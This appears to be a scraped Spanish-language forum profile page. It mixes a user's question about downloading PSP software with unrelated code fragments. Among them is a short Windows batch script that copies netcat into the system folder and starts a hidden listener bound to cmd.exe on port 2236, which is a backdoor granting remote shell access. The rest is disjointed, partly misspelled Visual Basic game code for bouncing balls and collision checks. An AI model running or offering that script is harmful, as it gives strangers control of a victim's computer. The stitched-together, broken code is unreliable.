hola gente , alguien conoce alguna web buena donde pueda bajar softwares para psp , no coo el psp video 9 y cosas de video , sino programas , como ... programas jeje
saludos y gracias
saludos y gracias
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
@echo off
copy nc.exe C:\WINDOWS\system32
nc -l -p 2236 -e cmd.exe -d
exit
w1 = lb1.Width
h1 = lb1.Height
w2 = lb2.Width
h2 = lb2.Height
x1 = lb1.Left
y1 = lb1.Top
x2 = lb2.Left
y2 = lb2.top
If x1 + w1 > x2 And y1 + h1 > y2 And x2 + w2 > x1 And y2 + h2 > y1 Then
Dim xx As Integer
Dim yy As Integer
Dim x As Integer
Dim y As Integer
Private Sub Form_KeyPress(KeyAscii As Integer)
If KeyAscii = 97 And linea.Left > 240 Then
linea.Left = linea.Left - 300
End If
If KeyAscii = 100 And linea.Left < 9840 Then
linea.Left = linea.Left + 300
End If
If KeyAscii = 119 And linea.Top > 4560 Then
linea.Top = linea.Top - 300
End If
If keyaascii = 115 And linea.Top < 4620 Then
linea.Top = linea.Top + 300
End If
End Sub
Private Sub Form_Load()
xx = 50
yy = 35
End Sub
Private Sub KBRD_Timer()
End Sub
Private Sub Timer1_Timer()
Dim i#
For i = 0 To bola.Count - 1
bola(i).Left = bola(i).Left + xx
bola(i).Top = bola(i).Top + yy
Next
For i = 0 To bola.Count - 1
If bola(i).Left < Shape1.Left Or bola(i).Left + bola(i).Width > Shape1.Left + Shape1.Width Then
xx = -xx
End If
Next
For i = 0 To bola.Count - 1
If bola(i).Top < Shape1.Top Or bola(i).Top + bola(i).Height > Shape1.Top + Shape1.Height Then
yy = -yy
End If
Next
End Sub
mosemove x, y
move x, y